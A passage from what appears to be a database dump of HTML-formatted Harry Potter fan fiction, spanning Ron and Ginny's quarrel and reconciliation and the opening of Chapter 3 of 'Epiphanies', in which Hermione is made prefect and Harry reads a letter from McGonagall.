fury.&nbsp; For a\nbrief, frightening moment, he thought it was Hermione standing over him &#8211;\nexcept that <i>this</i> Hermione had blazing red hair &#8230; &#8220;You can be a daft,\ninsensitive, <i>dense, prat</i>, Ron! And you&#8217;ve got a dirty mind, to boot!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Well, what the hell am I supposed to think?&#8221;\nhe blazed back. &#8220;They spend <i>hours</i> out here, and come back to the house\nall muddied up, as if they&#8217;ve been mud-wrestling &#8230; looking happy and contented\n&#8230; leaving <i>me</i>, their &#8220;<i>best</i>&#8221; friend behind &#8230; they&#8217;re not even <i><u>sharing</u></i><u>\n</u>what they&#8217;re talking about with me &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Wow!&#8221; Ginny said, in a highly sarcastic tone,\n&#8220;Jealous, are we?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Shut up, Ginny,&#8221; he said from his position on\nthe ground. &#8220;You don&#8217;t know what you&#8217;re talking about.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Don&#8217;t I? Harry and Hermione had a quiet moment\ntogether &#8230; in much the same way that Bill and I had <i>our</i> quiet moments &#8230;\nand then, <i>you</i> come up here with your dirty mind and mess it up &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Well, he&#8217;s <i>not</i> her brother, is he?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny stared at him, momentarily stunned into\nsilence. In a hoarse whisper, she said, &#8220;You dumb, stupid, <i>pathetic</i> git.\nHarry might as well be, <i>they</i> might as well be &#8230; <i>he&#8217;s</i> an only\nchild &#8230; <i>she&#8217;s</i> an only child &#8230; where <i>else</i> do you think they&#8217;ll\nfind <i>that</i> kind of comfort and affection? From <i>you</i>? That&#8217;s a\nlaugh!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ron, who had stood up, was rocked back by that\nstatement. Brother-sister affection? <i>Harry</i>, thinking of Hermione as\nnothing more than a sister that he&#8217;d never had? <i>Hermione</i>, seeing in\nHarry a brother that <i>she</i> never had? Some part of his fevered brain\nlocked on to that thought and saw the logic behind it &#8230; but the stubbornly\ntactless part of his being responded, &#8220;<i>Stop</i> that oh, so <i>holy</i> act,\nGinny! You&#8217;re just <i>jealous</i> of Hermione &#8230; <i>you</i> wanted to be in her\nplace &#8230; you <i>want</i> to be the one <i>hugging</i> and <i>kissing</i> Harry &#8230;\n<i>you </i>wanted to be the one to get his Quidditch robes &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Some primal instinct made him duck and step\nback, barely missing the open-handed slap that Ginny threw at him. As he\nstepped back, however, he stumbled once again on an exposed tree root, and laid\nthere, looking up at a blazingly furious Ginny Weasley.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;So <i>what</i> if I wanted to? At least, he&#8217;ll\nbe <i>there</i> for <i>me</i> &#8230; he&#8217;d be hugging <i>me</i> &#8230; he&#8217;d be comforting <i>me\n&#8230;</i> he&#8217;d have <i>protected me</i>! He&#8217;d be better as a <i>brother</i> than\nyou, you stupid <i>git</i> &#8230; so tied up in yourself &#8230; so tied up with the <i>Trio</i>\nthat you don&#8217;t have any <i>time</i> for your <i>sister</i> &#8230; at least Harry <i>cares</i>\n&#8230; <i>you never did!</i>&#8221; With that, Ginny turned and ran away from him, her\nrobes flapping.</p>\n\n<p class="MsoBodyTextFirstIndent">Ron froze, shocked. &#8220;Bloody <i>hell</i>,&#8221; he\nthought, &#8220;I&#8217;ve <i>really</i> done it this time!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He jumped to his feet and looked around.&nbsp; Ginny was running away from the paddock, her\ntear-clouded eyes blurring the fact that she was not headed for The Burrow but\nwas running blindly away. Ron started running after her, his long legs swiftly\nclosing the distance, as he shouted, &#8220;Ginny! Wait! <i>I&#8217;m sorry, Ginny &#8230;\nplease!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny didn&#8217;t hear him, or wouldn&#8217;t listen to\nhim. He doubled his speed, finally catching up with her and, using a tactic\nfrom their younger days, grabbed her in a crushing bear hug. Ginny, however,\ntried to fight back, hitting him with her fists, crying all the time, telling\nhim, &#8220;Let go of me! Let go, I said &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He only hugged her tighter, whispering, &#8220;I&#8217;m\nsorry, Gin &#8230; I&#8217;m so sorry &#8230; It&#8217;s just that &#8230; I don&#8217;t know &#8230; call it jealousy &#8230;\ncall it what you will &#8230; I&#8217;m so sorry &#8230; You&#8217;re right &#8230; I should have been more\nof a brother &#8230; I&#8217;m just a stupid, insensitive git &#8230; you don&#8217;t deserve me &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Finally, Ginny gave up hitting him, but she did\nnot return his hug. She stood still, while he hugged her and, to her utter\nsurprise, she felt tears falling on her hair. She heard him speaking in a\nhoarse whisper, &#8220;I&#8217;m sorry, Ginny &#8230; I should have been there for you &#8230; I didn&#8217;t\nknow what to do &#8230; when I learned you&#8217;d been taken into the Chamber &#8230; I just &#8230;\njust collapsed &#8230; I couldn&#8217;t think straight &#8230; couldn&#8217;t <i>do</i> anything &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Finally, Ginny hugged her brother. &#8220;But you\nwere <i>there</i>, Ron &#8230; I was so surprised &#8230; getting out of the Chamber &#8230;\nseeing you there, trying to dig a way out of the tunnel &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ron interrupted her, &#8220;I wouldn&#8217;t have been\nthere if <i>Harry</i> hadn&#8217;t gone after you &#8230; I would have been sitting around\nthe common room with Fred, George and Percy &#8230; sitting around, waiting for word\nwhether they&#8217;d found you &#8230; it&#8217;s a good thing that Harry decided to go to\nLockhart &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He trailed off.&nbsp; <i>That</i> was another memory he would prefer to have forgotten,\nor obliviated out of his mind.&nbsp; He\ndidn&#8217;t want to go over it again with Ginny &#8230; <i>she</i> had been the cause of\nit, whether she liked it or not, even if she had been corrupted and enchanted\nby that infernal diary &#8230; he didn&#8217;t want to dredge up old, painful memories\nagain.</p>\n\n<p class="MsoBodyTextFirstIndent">He felt her shifting uncomfortably, and he let\ngo.&nbsp; Ginny turned away from him, and\nsaid in a small voice, &#8220;I miss Bill.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;So do I.&#8221; Ron took a deep breath. &#8220;He&#8217;d always\nknown what to do &#8230; what exactly to say &#8230; I should have learned more from him.&#8221;\nHe looked away from Ginny, and said in a low voice, &#8220;He&#8217;s almost like Harry in\nsome ways &#8230; he&#8217;ll just <i>do</i> the right thing &#8230; say the right words &#8230; he\nwon&#8217;t even need to <i>think</i> about it &#8230; he&#8217;ll just do it, and things turn\nout all right, one way or another.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;He&#8217;s a <i>great</i> friend, Ron.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Who? Bill?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Harry.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Yeah.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">They&#8217;d sat down, facing each other, lost in\ntheir respective thoughts. The silence stretched &#8230; and then Ron said, &#8220;You&#8217;re\nright. He&#8217;d make a great brother &#8230; especially to an immature, insecure git like\nme.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Yeah.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;But &#8230; I think he&#8217;d make a better\nbrother-in-law, don&#8217;t you?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny&#8217;s head snapped up, eyes narrowed &#8211;\nprepared for an angry retort. She was surprised to see Ron smiling at her, an\neyebrow raised in that mocking look she knew too well &#8230; and realized that he\nwas <i>serious</i>. He wasn&#8217;t joking, wasn&#8217;t being sarcastic &#8230; he was simply\nstating a fact to her.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Yeah, he would.&#8221; A smile flickered across her\nface. &#8220;For you or for me?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oi,&#8221; he shouted, throwing some grass at her,\nwhich she ducked. &#8220;What do you think of me? A <i>fairy</i>?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Well &#8230;&#8221; she said with a smirk. This time, Ron\ngrabbed her in a headlock and started tickling her, saying &#8220;Take that back, you\n&#8230; you &#8230; <i>witch.</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;OK, OK,&#8221; she said, laughing. &#8220;I take it back &#8230;\nI take it back &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ron let go of her, and they looked at each\nother.&nbsp; Ginny giggled &#8230; Ron snickered &#8230;\nsoon enough, the siblings were rolling on the ground, laughing. The paddock\nrang with their laughter &#8230; manic, hysterical, but somehow cleansing, for both\nof them &#8230; they hadn&#8217;t laughed together like this for ages &#8230; he&#8217;d always been\nlaughing at her, or she would be laughing at him &#8230; they&#8217;d forgotten the joy\nthat shared merriment gave, especially to siblings that seemed to have grown\napart &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Soon enough, the laughter stopped as they felt\na stitch in their sides. They looked at each other, and smiled.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Thanks, Ginny. I needed that,&#8221; Ron said.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;No, thank <i>you</i>, brother o&#8217; mine.&#8221; Ron\nsmiled, Ginny hadn&#8217;t called him <i>that</i>, except in a sarcastic manner,\nsince he had gone to Hogwarts four years ago.&nbsp;\nSomehow, it seemed <i>right</i> that she called him that now, a\nreaffirmation of the affection that they&#8217;d had for each other somewhere in what\nhad seemed to be a lost childhood for both. </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;So, what now, Gin-<i>ninny</i>?&#8221; Ginny glanced\nat him with a smile &#8211; that was <i>his</i> nickname for her when she was much,\nmuch younger.&nbsp; She&#8217;d always found it\nendearing &#8230; until the day she learned what a &#8220;ninny&#8221; meant &#8230; it had taken Ron a\n<i>week</i> before the bruises she gave him faded.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Want a fat lip, brother o&#8217; mine?&#8221; Ron held up\nboth hands in a defensive gesture, and shook his head. Ginny looked up at the\nsky, as if hoping that an answer could be found there. She suddenly stood up,\nexcitedly pointing something out to Ron, &#8220;Look, Ron! School owls!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">He shaded his eyes and looked where she was\npointing.&nbsp; Sure enough, several owls\nwere flying towards The Burrow. He also stood up, and brushed off the seat of\nhis pants. &#8220;Let&#8217;s head back, Ginny &#8230; Mum&#8217;ll be worried.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;OK.&#8221; </p>\n\n<p class="MsoBodyTextFirstIndent">They started walking back to the house; for\nonce, Ron felt comfortable with the silence from his sister.&nbsp; After a minute, however, he spoke up,\n&#8220;Ginny?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She stopped and looked at him, eyebrow raised\nin a question. &#8220;Ummm &#8230;&#8221; he said, uncomfortably. &#8220;Promise me &#8230; next time I start\nacting like a prat &#8230; don&#8217;t wait for Hermione to hit me &#8230; do it yourself.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She looked at him, surprised &#8211; and saw that he\nwas serious.&nbsp; Slowly, she nodded, &#8220;OK. I\npromise.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ron nodded at her, and started walking again.\nShe stood still for a moment, a smile slowly forming on her face. In a lilting\nvoice, she called out, &#8220;Ronnnie!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ron stopped and looked at her. Suddenly, she\nslapped him &#8211; a move which he just barely ducked. &#8220;What was that for?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She smiled. &#8220;You asked for it &#8230; that was for\nwhat you did earlier.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Hey, I said staring <i>now</i> &#8230; I haven&#8217;t\ndone anything yet!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;You will,&#8221; she smirked at him. &#8220;You will &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Why, you &#8230;&#8221; he made a move to grab her, but\nshe eluded him.&nbsp; Sticking her tongue out\nat him in a gesture again reminiscent of their childhood, she suddenly bolted\nfor the house, laughing.&nbsp; </p>\n\n<p class="MsoBodyTextFirstIndent">Ron shook his head, smiled, and started running\nafter her, calling out threats the whole time.</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;</p>\n\n\n\n\n\n\n'),
	(125, 4, '\n\n\n\n<p class="MsoTitle">Epiphanies - 03</p>\n\nChapter 3. School Owls and Announcements\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyTextFirstIndent">Molly Weasley looked out of her kitchen window\nand saw Ron and Ginny tearing down the paddock, laughing. &#8220;That&#8217;s nice,&#8221; she\nthought. &#8220;I haven&#8217;t seen those two having fun like that in years.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She didn&#8217;t realize that she had spoken aloud\nuntil Harry, who was in the kitchen getting out plates and cutlery, said in a\nwistful voice, &#8220;It must be nice having a sister.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She looked at him standing beside her, looking\nout the window. &#8220;Yes it is &#8230;&#8221; She thought she saw a slightly bitter smile cross\nhis face, and realized that he must be thinking of his mother and her sister,\nthe infamous Aunt Petunia. Before she could speak further, however, he turned\nto her with a genuine smile. </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Depends on the sister, I suppose,&#8221; he said,\nstill smiling. Before she could react to that, he continued, &#8220;Ginny&#8217;s nice &#8230; a\nbit like Hermione, but without the bossiness.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Mrs. Weasley smiled back at him, and said, &#8220;I\nheard. Ron&#8217;s always complaining about it &#8230; but I think Hermione&#8217;s been good for\nboth of you.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh, yes!&#8221; Harry replied. &#8220;I honestly don&#8217;t\nknow how Ron and I would have gotten through the school work &#8211; especially <i>Potions</i>\n&#8211; without her.&#8221; </p>\n\n<p class="MsoBodyTextFirstIndent">Mrs. Weasley kept quiet, as he continued,\n&#8220;She&#8217;s been wonderful last year &#8230; I honestly don&#8217;t think I could have gotten\nthrough the tournament without her.&nbsp; She\nhelped me with the Summoning Charm &#8230; found all those hexes and the Shield Charm\n...&#8221; He fell silent, his brilliant green eyes dulling and turning blank, his\nmind turning again unbidden to the Tri-Wizard tournament. Before Molly could\nspeak, he shook himself and smiled at her.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I&#8217;m all right, Mrs. Weasley.&nbsp; No need to be worried about me.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Molly bit her lip, knowing that Harry would\nfeel uncomfortable if she voiced her concerns. Casting about desperately for\nsomething to say, she started to ask, &#8220;Is that why &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Whatever she was about to ask was interrupted\nas they heard the front door slam shut &#8211; almost immediately followed by a loud\nBANG which seemed to shake the whole house. &#8220;Heavens!&#8221; Mrs. Weasley exclaimed.\n&#8220;What was that?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">They rushed out of the kitchen to the front\ndoor where they saw a gasping Ginny kneeling on the floor, clutching a stitch\nat her side &#8211; and Hermione also kneeling by the door, doubled up with\nsuppressed laughter &#8230; and Ron&#8217;s voice outside the door, yelling, &#8220;Open up in\nthere! I&#8217;ll get you &#8230; whoever you are &#8230; that <i>hurt</i>, you know.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione had apparently opened the door in time\nfor Ginny to fly in &#8211; and closed it on the hot-in-pursuit Ron.&nbsp; She finally pulled open the door, to reveal\nan angry Ron who was clutching his shoulder, apparently in pain.&nbsp; Hermione&#8217;s laughter disappeared and her face\npaled, &#8220;Oh, Ron! Did I hurt &#8230; I&#8217;m sorry &#8230; I thought you would be able to stop\nin time &#8230; I&#8217;m sorry &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ron walked into the house, an angry look on his\nface.&nbsp; As he passed an\napologizing-by-the-mile Hermione, he suddenly grabbed her in a headlock and\nstarted tickling her ribs. &#8220;<i>Gotcha!</i>&#8221; he cried, &#8220;this&#8217;ll <i>teach </i>you\nto slam the door in <i>my </i>face!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione, laughing, tried to grab his hands as\nhe tickled her. Ginny, finally getting her breath back, leapt in to help her,\nand the three were soon rolling around on the floor. Mrs. Weasley and Harry\nlooked at each other, smiling, and then Harry spoke up in a surprisingly deep\nvoice, &#8220;Children, children, <i>behave</i>! What will your Mum think?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The three on the floor broke apart and stood\nup, embarrassed.&nbsp; Mrs. Weasley smiled,\nlooking from one to the other, trying to gauge which one had the reddest face.\nIt looked like Hermione was the clear winner, although Ron and Ginny were not\nfar behind. Ron, typically, was the first to recover. With a broad grin, he\nsaid, &#8220;Oh, sod off, Harry!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Sod off, <i>Harry</i>?&#8221; Harry responded in a\nhurt voice. &#8220;I thought we <i>agreed </i>that that term was to be used only for\nMalfoy?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ron looked at him for a moment. &#8220;OK. Shut up,\nHarry.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">This time, the four of them burst out laughing\nwhile Mrs. Weasley looked from one to the other with a bemused expression. With\na clatter, the Twins burst into the room, asking, &#8220;What? What happened?&nbsp; Did we miss anything?&#8221; at which Ron,\nHermione, Harry and Ginny started laughing harder.</p>\n\n<p class="MsoBodyTextFirstIndent">Fred and George looked at each other, and at\ntheir mother, with bewildered expressions on their faces.&nbsp; Molly, smiling, turned back towards the\nkitchen, saying, &#8220;Since you&#8217;re all up, anyway, we can have breakfast &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Turning to Ginny and Ron, she asked, &#8220;Why were\nyou running so hard coming back?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Before either one could respond, the answer\ncame as six owls flew into the house. Circling around, they spotted their\ntargets and dropped letters (in Hermione&#8217;s case, the owl also had a small\npackage which it dropped into her hands) before flying out the still-open door.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Ah! School owls!&#8221; George said, unnecessarily.\nThey started opening their envelopes with the Hogwarts&#8217; seals, but they all\nstopped when they saw Hermione, frowning, shaking the small box which,\nsurprisingly, also had the Hogwarts crest on its wrapping.</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny squealed in delight as she said, &#8220;I know\nwhat that is! I know what that is!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Fred, George, and Ron groaned simultaneously &#8211;\nthey knew what the box contained, having suffered a similar experience a few\nyears before.&nbsp; Harry, however, looked\nlost, and urged Hermione to open it.</p>\n\n<p class="MsoBodyTextFirstIndent">Excitedly, she opened the box to reveal a\nsilver Hogwarts badge with the letter &#8220;P&#8221; on it. This time, she was squealing\nwith delight, and jumping up and down &#8230; and to the surprise of everyone in the\nroom, suddenly hugged Harry. &#8220;I made it! I made it!&#8221; she squealed.&nbsp; Although everyone expected that she would be\nmade a prefect, she had only confided to Harry her fears that her adventures\nwith him would have queered her chances.</p>\n\n<p class="MsoBodyTextFirstIndent">Harry hugged her also (ignoring the looks from\nthe others). &#8220;Congratulations, Mione! I knew you&#8217;d make it &#8230; Oww!&#8221; he said, as\nHermione let go of him, and gave him a punch on the shoulder. &#8220;OK, OK &#8230; I guess\nI can&#8217;t call you that anymore &#8230; or you&#8217;ll start taking points off Gryffindor!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;You&#8217;re darn right I will!&#8221; She suddenly seemed\nto be aware of the others in the room, and turned to Ron, a stricken look on\nher face. &#8220;Oh, Ron! I&#8217;m sorry &#8230; I hope you don&#8217;t mind &#8230; my being a Prefect and\nall &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Mind?&#8221; Ron said, with a broad smile, &#8220;Why\nshould I <i>mind</i>? Just so long as you take points off <i>Malfoy</i> every\ntime he looks crosswise at me!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione slapped him lightly on the arm, &#8220;I\ncouldn&#8217;t do that! Everyone knows we <i>hate</i> him &#8230; Snape will try to take\nthis away from me for doing that.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Ah, well, it was worth a thought,&#8221; Ron said,\nsmiling. He held out his hand to her, &#8220;Congratulations, Hermione.&nbsp; It couldn&#8217;t have happened to a better\nperson.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She took his hand, and impulsively hugged him.\n&#8220;Thanks, Ron &#8230; you&#8217;re such a dear.&#8221; She didn&#8217;t notice the huge smiles on the\nfaces of the others (including Harry&#8217;s). Then, Fred, George, Ginny and Mrs.\nWeasley were crowding around her, offering their congratulations.&nbsp; Fred, in a loud voice, said, &#8220;Hey, let&#8217;s\ntreat the new prefect to some ice cream at Florean Fortescue&#8217;s later! We&#8217;re\ngoing to Diagon Alley, right, Mom?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Mrs. Weasley nodded, warily. </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Great! Our treat!&#8221; Fred cried.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;And where will you be getting the money for\nthat?&#8221; Molly Weasley asked in a low, dangerous voice.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;<i>Mum!</i>&#8221; George protested. &#8220;Ludo Bagman\nsent us the money he owed us for last year&#8217;s Quidditch World Cup.&nbsp; A little late &#8230; but better late than, you\nknow.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh,&#8221; Mrs. Weasley responded. &#8220;Well &#8230; we better\nget to breakfast, then. We should be leaving for Diagon Alley before lunch.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">As the family moved towards the dining room,\nFred quietly blocked Harry&#8217;s path, making sure that they were left behind.\nHarry looked at Fred, puzzled.&nbsp; In a low\nvoice, Fred said, &#8220;I know it&#8217;s not for the joke shop, Harry, but I felt you\nwouldn&#8217;t mind if we treated everybody to ice cream for Hermione&#8217;s ummm &#8230; <i>promotion</i>.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry smiled. He&#8217;d suspected as much and told\nFred, &#8220;No problem &#8230; although I would have made the offer if <i>you</i> hadn&#8217;t\nstepped in. Tell you what, I&#8217;ll pay you back for the treat later, just so your\n&#8230; <i>investment</i> remains intact.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Don&#8217;t worry about that, Harry,&#8221; George said,\nafter making sure that the rest of the family was safely in the dining room.\n&#8220;We&#8217;re bringing a bunch of merchandise to Zonko&#8217;s later.&nbsp; If they buy the lot, we&#8217;ll have it covered &#8230;\nincluding new robes for ickle Ronniekins.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;OK,&#8221; Harry said, dubiously. &#8220;But if you need\nany help &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Let&#8217;s go in before they miss us,&#8221; Fred said,\noverriding his objections. Harry looked at the two and nodded.</p>\n\n<p class="MsoBodyText" style="text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;That&#8217;s strange,&#8221; they heard Hermione say as\nthey took their seats at the table (Harry sitting to one side of Hermione,\nwhile Ron was sitting on the other). She looked up at Harry and then at Ron,\n&#8220;I&#8217;m the only one named as the Gryffindor Prefect.&nbsp; My counterpart is listed as &#8220;To Be Announced.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">George frowned at that. &#8220;That <i>is</i>\nstrange. They usually name the prefects for the different houses at the same\ntime &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Well, no use worrying about it,&#8221; Molly Weasley\nsaid, briskly. &#8220;I&#8217;m sure the school has its reasons &#8230; now eat up, children, or\nwe&#8217;ll be late.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry, who was reading his letter from\nHogwarts, suddenly looked at Ginny with a twinkle in his eye. &#8220;Hey, Ginny, I\ndidn&#8217;t know you were getting top marks in Arithmancy &#8230; it seems you&#8217;re even\nbetter at it than Hermione.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny dropped her fork on her plate, blushing\nfuriously at the same time, as the others (especially Hermione) looked at her\nin surprise. &#8220;Well &#8230; yeah, I am. How did you know that?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Long story, Ginny,&#8221; Harry said, turning away\nfrom her.</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny suddenly slammed her small fist on the\ntable, and in an exasperated voice, said, &#8220;<i>Harry!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry simply grinned at her.</p>\n\n<p class="MsoBodyTextFirstIndent">Ginny could feel herself blushing as Harry&#8217;s\ngreen eyes met hers. Normally, she would have turned away from his brilliant\ngreens, but she had long resolved to change the way she acted around him &#8230; <i>this</i>\ntime, she tried giving him a glare that she had seen Hermione do several times\nover the years (&#8220;Hermione&#8217;s death-glare,&#8221; Ron had called it) &#8230; and her mouth\ndropped in shock as she watched Harry lose his grin, and swallowed\nuncomfortably &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;OK, OK &#8230; no need to look at me like <i>that</i>,&#8221;\nHarry said.&nbsp; Ginny&#8217;s mouth dropped (&#8216;It\nactually <i>works</i>?&#8217; she thought wildly) and closed her mouth as Harry\ncontinued, &#8220;Well, I owled Professor McGonagall early this summer, asking if I\ncould drop Divination and take Ancient Runes and Arithmancy in its place &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;<i>What</i>?&#8221; Ron asked in surprise as he too,\ndropped his fork. &#8220;You&#8217;re <i>dropping</i> Divination?&#8221; Hermione, however,\nlooked pleased and said, &#8220;Good for you, Harry!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Well &#8230; McGonagall said I can&#8217;t drop Divination\n&#8230; so I have a choice of either Ancient Runes or Arithmancy. But since I&#8217;m\nstaring fifth year, I&#8217;ll have to catch up &#8230; here, read her letter,&#8221; he said, handing\nthe parchment over to Ron. Hermione crowded him as she looked over his\nshoulder, which he started reading aloud:</p>\n\n<p class="MsoBlockText" style="text-indent:0in">&#8220;Dear Mr. Potter:</p>\n\n<p class="MsoBlockText">Professor Dumbledore and myself are pleased with your\nrequest to take on Arithmancy and Ancient Runes in place of Divination for the\ncoming year.&nbsp; We, and other teachers,\nbelieve that this is a sign of your growing maturity and sense of\nresponsibility.</p>\n\n<p class="MsoBlockText">Unfortunately, while we applaud your intentions, we\ncannot allow you to drop Divination after having taken it for two years, and\ngetting top marks in said subject. (Hermione choked at this point, and Harry had to rub her back to get\nher over the choking fit.) It would only set a dangerous precedent which\nwould only damage the school and its curricula.</p>\n\n<p class="MsoBlockText" style="text-indent:0in">(&#8220;Ha!&#8221; Hermione interjected. &#8220;She means damaging Trelawney&#8217;s reputation!&#8221; &#8220;Shhh,\nHermione, I want to hear this,&#8221; Ginny said.)</p>\n\n<p class="MsoBlockText">Accordingly, we are allowing you to take either Ancient\nRunes or Arithmancy in addition to Divination.&nbsp;\nWe feel confident that you will be able to take on the additional load\nwithout any trouble, or adverse effect, to your other responsibilities.</p>\n\n<p class="MsoBlockText">(&#8220;What\nother responsibilities?&#8221; Ron demanded. Harry shrugged. &#8220;Probably the Quidditch\nteam. I&#8217;m still the Seeker, remember?&#8221; &#8220;Oh, right,&#8221; said Ron).</p>\n\n<p class="MsoBlockText">However, since you will be starting either subject as a\nfirst year, you will have a lot of catching up to do in order to finish on\ntime.&nbsp; Your teacher, whichever subject\nyou finally choose,&nbsp; will therefore, be\ngiving you extra assignments in order for you to catch up with your year-level.</p>\n\n<p class="MsoBlockText">I would also suggest that you seek assistance from\nstudents who can mentor you in your chosen subject. May I suggest you speak\nwith either Miss Hermione Granger in your year, or Miss Virginia Weasley, a\nfourth year, regarding the matter.&nbsp; Miss\nGranger, as you know, has been getting top marks in Ancient Runes, while Miss\nWeasley has been garnering top marks in Arithmancy &#8211; even better than Miss\nGranger when she was taking up the subject in third and fourth year.</p>\n\n<p class="MsoBlockText" style="text-indent:0in">(Ron looked up at Ginny, who was blushing furiously\nand looking down at her plate. Hermione, on the other hand, was looking at\nGinny with open-mouthed surprise, as if she couldn&#8217;t believe that anyone could\nbeat her grades!)</p>\n\n<p class="MsoBlockText">I&#8217;m sure they will also be able to help you decide which\nsubject would be best suited for you. </p>\n\n<p class="MsoBlockText">Please owl me before the 31st of August with\nyour decision.&nbsp; In the meantime, please\nfind attached the course books for both subjects, so that you can purchase the\nnecessary materials once you have arrived at a decision.</p>\n\n<p class="MsoBlockText">Thank you, and my congratulations for your improved sense\nof maturity and responsibility. </p>\n\n<p class="MsoBlockText" style="text-align:right" align="right">Sincerely,</p>\n\n<p 